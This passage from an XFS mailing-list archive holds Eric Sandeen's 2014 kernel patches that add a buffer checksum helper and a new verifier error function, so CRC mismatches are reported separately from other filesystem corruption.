XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 5d7f105..7321e49 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1571,8 +1571,8 @@ xfs_agi_read_verify( int agi_ok = 1; if (xfs_sb_version_hascrc(&mp->m_sb)) - agi_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agi, agi_crc)); + agi_ok = xfs_buf_verify_cksum(bp, + offsetof(struct xfs_agi, agi_crc)); agi_ok = agi_ok && xfs_agi_verify(bp); if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index bf59a2b..3f09957 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -133,7 +133,7 @@ xfs_symlink_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), + if (!xfs_buf_verify_cksum(bp, offsetof(struct xfs_dsymlink_hdr, sl_crc)) || !xfs_symlink_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); -- 1.7.1 From sandeen@sandeen.net Sun Feb 9 20:29:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A4F637F3F for ; Sun, 9 Feb 2014 20:29:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 595DB8F8033 for ; Sun, 9 Feb 2014 18:29:51 -0800 (PST) X-ASG-Debug-ID: 1391999389-04bdf0121d245be0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id OOnNXppKXM1cc43N for ; Sun, 09 Feb 2014 18:29:49 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 61B266142669; Sun, 9 Feb 2014 20:29:49 -0600 (CST) Message-ID: <52F8399B.3050204@sandeen.net> Date: Sun, 09 Feb 2014 20:29:47 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 4/6] xfs: add helper for verifying checksums on xfs_bufs References: <52F83630.4020008@redhat.com> X-ASG-Orig-Subj: [PATCH 4/6] xfs: add helper for verifying checksums on xfs_bufs In-Reply-To: <52F83630.4020008@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391999389 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144982 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Many/most callers of xfs_update_cksum() pass bp->b_addr and BBTOB(bp->b_length) as the first 2 args. Add a helper which can just accept the bp and the crc offset, and work it out on its own, for brevity. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_alloc.c | 6 ++---- fs/xfs/xfs_attr_leaf.c | 2 +- fs/xfs/xfs_btree.c | 6 ++---- fs/xfs/xfs_cksum.h | 6 ++++++ fs/xfs/xfs_da_btree.c | 2 +- fs/xfs/xfs_dir2_block.c | 2 +- fs/xfs/xfs_dir2_data.c | 2 +- fs/xfs/xfs_dir2_leaf.c | 2 +- fs/xfs/xfs_dir2_node.c | 2 +- fs/xfs/xfs_ialloc.c | 4 ++-- fs/xfs/xfs_sb.c | 3 +-- fs/xfs/xfs_symlink_remote.c | 3 +-- 12 files changed, 20 insertions(+), 20 deletions(-) diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index ab33714..72b9451 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -515,8 +515,7 @@ xfs_agfl_write_verify( if (bip) XFS_BUF_TO_AGFL(bp)->agfl_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agfl, agfl_crc)); + xfs_buf_update_cksum(bp, offsetof(struct xfs_agfl, agfl_crc)); } const struct xfs_buf_ops xfs_agfl_buf_ops = { @@ -2271,8 +2270,7 @@ xfs_agf_write_verify( if (bip) XFS_BUF_TO_AGF(bp)->agf_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agf, agf_crc)); + xfs_buf_update_cksum(bp, offsetof(struct xfs_agf, agf_crc)); } const struct xfs_buf_ops xfs_agf_buf_ops = { diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index a19a023..b552378 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -224,7 +224,7 @@ xfs_attr3_leaf_write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_ATTR3_LEAF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF); } /* diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 4e8524d..e80d59f 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -234,8 +234,7 @@ xfs_btree_lblock_calc_crc( return; if (bip) block->bb_u.l.bb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_LBLOCK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_BTREE_LBLOCK_CRC_OFF); } bool @@ -267,8 +266,7 @@ xfs_btree_sblock_calc_crc( return; if (bip) block->bb_u.s.bb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_SBLOCK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_BTREE_SBLOCK_CRC_OFF); } bool diff --git a/fs/xfs/xfs_cksum.h b/fs/xfs/xfs_cksum.h index f605d64..7886d05 100644 --- a/fs/xfs/xfs_cksum.h +++ b/fs/xfs/xfs_cksum.h @@ -49,6 +49,12 @@ xfs_update_cksum(char *buffer, size_t length, unsigned long cksum_offset) *(__le32 *)(buffer + cksum_offset) = xfs_end_cksum(crc); } +static inline void +xfs_buf_update_cksum(struct xfs_buf *bp, unsigned long cksum_offset) +{ + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), + cksum_offset); +} /* * Helper to verify the checksum for a buffer. */ diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 6cece55..75ef990 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -196,7 +196,7 @@ xfs_da3_node_write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DA3_NODE_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DA3_NODE_CRC_OFF); } /* diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 948dc39..724377e 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -117,7 +117,7 @@ xfs_dir3_block_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_DATA_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_DATA_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_block_buf_ops = { diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 1952f00..74ae85e 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -295,7 +295,7 @@ xfs_dir3_data_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_DATA_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_DATA_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_data_buf_ops = { diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 1a412eb..dffb61b 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -208,7 +208,7 @@ __write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_LEAF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_LEAF_CRC_OFF); } static void diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 875e7c0..0904b20 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -143,7 +143,7 @@ xfs_dir3_free_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_FREE_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_FREE_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_free_buf_ops = { diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 7321e49..0f03405 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1600,8 +1600,8 @@ xfs_agi_write_verify( if (bip) XFS_BUF_TO_AGI(bp)->agi_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agi, agi_crc)); + + xfs_buf_update_cksum(bp, offsetof(struct xfs_agi, agi_crc)); } const struct xfs_buf_ops xfs_agi_buf_ops = { diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index efaef71..7bbaf20 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -675,8 +675,7 @@ xfs_sb_write_verify( if (bip) XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_sb, sb_crc)); + xfs_buf_update_cksum(bp, offsetof(struct xfs_sb, sb_crc)); } const struct xfs_buf_ops xfs_sb_buf_ops = { diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index 3f09957..7d53c5d 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -162,8 +162,7 @@ xfs_symlink_write_verify( struct xfs_dsymlink_hdr *dsl = bp->b_addr; dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); } - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)); + xfs_buf_update_cksum(bp, offsetof(struct xfs_dsymlink_hdr, sl_crc)); } const struct xfs_buf_ops xfs_symlink_buf_ops = { -- 1.7.1 From sandeen@sandeen.net Sun Feb 9 20:33:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 51B5A7F4E for ; Sun, 9 Feb 2014 20:33:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D6EDEAC002 for ; Sun, 9 Feb 2014 18:33:52 -0800 (PST) X-ASG-Debug-ID: 1391999631-04cbb00c2822b640001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 7fQGmEl0SHjyzWl2 for ; Sun, 09 Feb 2014 18:33:51 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 31DD06142669; Sun, 9 Feb 2014 20:33:51 -0600 (CST) Message-ID: <52F83A8D.7030506@sandeen.net> Date: Sun, 09 Feb 2014 20:33:49 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 5/6] xfs: add xfs_verifier_error() References: <52F83630.4020008@redhat.com> X-ASG-Orig-Subj: [PATCH 5/6] xfs: add xfs_verifier_error() In-Reply-To: <52F83630.4020008@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391999631 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144982 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We want to distinguish between corruption, CRC errors, etc. In addition, the full stack trace on verifier errors seems less than helpful; it looks more like an oops than corruption. Create a new function to specifically alert the user to verifier errors, which can differentiate between EFSCORRUPTED and CRC mismatches. It doesn't dump stack unless the xfs error level is turned up high. Define a new error message (EFSBADCRC) to clearly identify CRC errors. (Defined to EILSEQ, bad byte sequence) Signed-off-by: Eric Sandeen --- fs/xfs/xfs_error.c | 22 ++++++++++++++++++++++ fs/xfs/xfs_error.h | 3 +++ fs/xfs/xfs_linux.h | 1 + 3 files changed, 26 insertions(+), 0 deletions(-) diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c index 9995b80..08d76f4 100644 --- a/fs/xfs/xfs_error.c +++ b/fs/xfs/xfs_error.c @@ -178,3 +178,25 @@ xfs_corruption_error( xfs_error_report(tag, level, mp, filename, linenum, ra); xfs_alert(mp, "Corruption detected. Unmount and run xfs_repair"); } + +/* + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid + * values, and omit the stack trace unless the error level is tuned high. + */ +void +__xfs_verifier_error( + const char *func, + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + xfs_alert(mp, +"%sCorruption detected in %s, block 0x%llx. Unmount and run xfs_repair", + bp->b_error == EFSBADCRC ? "CRC " : "", func, bp->b_bn); + + if (xfs_error_level >= XFS_ERRLEVEL_LOW) + xfs_hex_dump(bp->b_addr, 64); + + if (xfs_error_level >= XFS_ERRLEVEL_HIGH) + xfs_stack_trace(); +} diff --git a/fs/xfs/xfs_error.h b/fs/xfs/xfs_error.h index 079a367..f4315c2 100644 --- a/fs/xfs/xfs_error.h +++ b/fs/xfs/xfs_error.h @@ -34,12 +34,15 @@ extern void xfs_error_report(const char *tag, int level, struct xfs_mount *mp, extern void xfs_corruption_error(const char *tag, int level, struct xfs_mount *mp, void *p, const char *filename, int linenum, inst_t *ra); +extern void __xfs_verifier_error(const char *func, struct xfs_buf *bp); #define XFS_ERROR_REPORT(e, lvl, mp) \ xfs_error_report(e, lvl, mp, __FILE__, __LINE__, __return_address) #define XFS_CORRUPTION_ERROR(e, lvl, mp, mem) \ xfs_corruption_error(e, lvl, mp, mem, \ __FILE__, __LINE__, __return_address) +#define xfs_verifier_error(bp) \ + __xfs_verifier_error(__func__, bp) #define XFS_ERRLEVEL_OFF 0 #define XFS_ERRLEVEL_LOW 1 diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index f9bb590..283b98b 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -178,6 +178,7 @@ typedef __uint64_t __psunsigned_t; #define ENOATTR ENODATA /* Attribute not found */ #define EWRONGFS EINVAL /* Mount with wrong filesystem type */ #define EFSCORRUPTED EUCLEAN /* Filesystem is corrupted */ +#define EFSBADCRC EILSEQ /* Bad CRC detected */ #define SYNCHRONIZE() barrier() #define __return_address __builtin_return_address(0) -- 1.7.1 From sandeen@sandeen.net Sun Feb 9 20:37:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 38FCC7F3F for ; Sun, 9 Feb 2014 20:37:27 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 157F38F8033 for ; Sun, 9 Feb 2014 18:37:27 -0800 (PST) X-ASG-Debug-ID: 1391999844-04cb6c6de22337d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 2WT7ICJ1G7jFf5zl for ; Sun, 09 Feb 2014 18:37:24 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 480AD6142669; Sun, 9 Feb 2014 20:37:24 -0600 (CST) Message-ID: <52F83B62.3040407@sandeen.net> Date: Sun, 09 Feb 2014 20:37:22 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 6/6] xfs: modify verifiers to differentiate CRC from other errors References: <52F83630.4020008@redhat.com> X-ASG-Orig-Subj: [PATCH 6/6] xfs: modify verifiers to differentiate CRC from other errors In-Reply-To: <52F83630.4020008@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391999844 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144982 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Modify all read & write verifiers to differentiate between CRC errors and other inconsistencies. This sets the appropriate error number on bp->b_error, and then calls xfs_verifier_error() if something went wrong. That function will issue the appropriate message to the user. Signed-off-by: Eric Sandeen --- note: I thought about moving the xfs_buf_error() set into the crc checkers or the basic verifiers, but then it's not obvious to the reader who has set the errno. So while this is more cut & paste it seems more readable. I'm flexible though... This is a big-ish patch and I've run it through xfstests but it could use careful review - I'm still looking over it but wanted to get this on the list to make sure it's headed in the right direction. fs/xfs/xfs_alloc.c | 38 +++++++++++++++++--------------------- fs/xfs/xfs_alloc_btree.c | 15 ++++++++------- fs/xfs/xfs_attr_leaf.c | 14 ++++++++------ fs/xfs/xfs_attr_remote.c | 15 ++++++--------- fs/xfs/xfs_bmap_btree.c | 16 ++++++++-------- fs/xfs/xfs_da_btree.c | 14 ++++++++------ fs/xfs/xfs_dir2_block.c | 14 ++++++++------ fs/xfs/xfs_dir2_data.c | 17 +++++++++-------- fs/xfs/xfs_dir2_leaf.c | 14 ++++++++------ fs/xfs/xfs_dir2_node.c | 14 ++++++++------ fs/xfs/xfs_dquot_buf.c | 11 +++++++---- fs/xfs/xfs_ialloc.c | 13 +++++++++---- fs/xfs/xfs_ialloc_btree.c | 15 ++++++++------- fs/xfs/xfs_inode_buf.c | 3 +-- fs/xfs/xfs_sb.c | 11 ++++------- fs/xfs/xfs_symlink_remote.c | 12 +++++++----- 16 files changed, 124 insertions(+), 112 deletions(-) diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 72b9451..90e6997 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -474,7 +474,6 @@ xfs_agfl_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agfl_ok = 1; /* * There is no verification of non-crc AGFLs because mkfs does not @@ -485,14 +484,13 @@ xfs_agfl_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - agfl_ok = xfs_buf_verify_cksum(bp, offsetof(struct xfs_agfl, agfl_crc)); - - agfl_ok = agfl_ok && xfs_agfl_verify(bp); - - if (!agfl_ok) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_buf_verify_cksum(bp, offsetof(struct xfs_agfl, agfl_crc))) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_agfl_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -507,8 +505,8 @@ xfs_agfl_write_verify( return; if (!xfs_agfl_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -2236,19 +2234,17 @@ xfs_agf_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agf_ok = 1; - - if (xfs_sb_version_hascrc(&mp->m_sb)) - agf_ok = xfs_buf_verify_cksum(bp, - offsetof(struct xfs_agf, agf_crc)); - agf_ok = agf_ok && xfs_agf_verify(mp, bp); - - if (unlikely(XFS_TEST_ERROR(!agf_ok, mp, XFS_ERRTAG_ALLOC_READ_AGF, - XFS_RANDOM_ALLOC_READ_AGF))) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, offsetof(struct xfs_agf, agf_crc))) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (XFS_TEST_ERROR(!xfs_agf_verify(mp, bp), mp, + XFS_ERRTAG_ALLOC_READ_AGF, + XFS_RANDOM_ALLOC_READ_AGF)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -2259,8 +2255,8 @@ xfs_agf_write_verify( struct xfs_buf_log_item *bip = bp->b_fspriv; if (!xfs_agf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c index 144d3b0..cc1eadc 100644 --- a/fs/xfs/xfs_alloc_btree.c +++ b/fs/xfs/xfs_alloc_btree.c @@ -355,12 +355,14 @@ static void xfs_allocbt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_sblock_verify_crc(bp) && - xfs_allocbt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_allocbt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -370,9 +372,8 @@ xfs_allocbt_write_verify( { if (!xfs_allocbt_verify(bp)) { trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index b552378..fe9587f 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -213,8 +213,8 @@ xfs_attr3_leaf_write_verify( struct xfs_attr3_leaf_hdr *hdr3 = bp->b_addr; if (!xfs_attr3_leaf_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -239,12 +239,14 @@ xfs_attr3_leaf_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || - !xfs_attr3_leaf_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_attr3_leaf_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } const struct xfs_buf_ops xfs_attr3_leaf_buf_ops = { diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 5549d69..6e37823 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -125,7 +125,6 @@ xfs_attr3_rmt_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; char *ptr; int len; - bool corrupt = false; xfs_daddr_t bno; /* no verification of non-crc buffers */ @@ -140,11 +139,11 @@ xfs_attr3_rmt_read_verify( while (len > 0) { if (!xfs_verify_cksum(ptr, XFS_LBSIZE(mp), XFS_ATTR3_RMT_CRC_OFF)) { - corrupt = true; + xfs_buf_ioerror(bp, EFSBADCRC); break; } if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { - corrupt = true; + xfs_buf_ioerror(bp, EFSCORRUPTED); break; } len -= XFS_LBSIZE(mp); @@ -152,10 +151,9 @@ xfs_attr3_rmt_read_verify( bno += mp->m_bsize; } - if (corrupt) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - } else + if (bp->b_error) + xfs_verifier_error(bp); + else ASSERT(len == 0); } @@ -180,9 +178,8 @@ xfs_attr3_rmt_write_verify( while (len > 0) { if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { - XFS_CORRUPTION_ERROR(__func__, - XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } if (bip) { diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c index 706bc3f..818d546 100644 --- a/fs/xfs/xfs_bmap_btree.c +++ b/fs/xfs/xfs_bmap_btree.c @@ -780,12 +780,14 @@ static void xfs_bmbt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_lblock_verify_crc(bp) && - xfs_bmbt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - 